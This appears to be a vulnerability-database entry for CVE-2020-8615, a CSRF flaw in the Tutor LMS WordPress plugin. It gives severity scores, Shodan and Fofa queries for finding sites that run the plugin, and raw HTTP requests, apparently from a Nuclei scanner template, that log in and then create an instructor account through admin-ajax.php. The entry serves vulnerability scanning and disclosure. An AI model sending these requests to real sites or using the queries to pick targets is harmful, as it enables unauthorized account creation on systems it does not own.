| Title | Wordpress Plugin Tutor LMS 1.5.3 - Cross-Site Request Forgery |
|---|---|
| Author | r3Y3r53 |
| Severity | Medium |
| Impact | Attackers can exploit CSRF to approve themselves as instructors or block legitimate instructors, potentially disrupting the learning management system. |
| Remediation | update to v.1.5.3 |
| CVSS Score | 6.5 |
| EPSS Score | 0.06895 |
| CVE ID | CVE-2020-8615 |
| CWE ID | CWE-352 |
| Shodan Query | http.html:/wp-content/plugins/tutor/ |
| Fofa Query | body=/wp-content/plugins/tutor/ |
| Tags | cve cve2020 wpscan packetstorm csrf wp-plugin wp tutor wordpress themeum vuln |
A CSRF vulnerability in the Tutor LMS plugin before 1.5.3 for WordPress can result in an attacker approving themselves as an instructor and performing other malicious actions (such as blocking legitimate instructors).
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/600.1.17 (KHTML, like Gecko) Version/7.1 Safari/537.85.10
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=BeiP3O&pwd=DC4p5z&wp-submit=Log+In
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko/20100101 Firefox/139.0
Connection: close
Content-Length: 237
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
action=add_new_instructor&first_name=aa5EI&last_name=vyR6z&user_login=IWdtkO&email=toTJrw@ObcRU.com&phone_number=1231231231&password=SWBy0iwv&password_confirmation=SWBy0iwv&tutor_profile_bio=Et+tempore+culpa+n&action=tutor_add_instructor
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-8615.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-8615.pcap
N/AN/A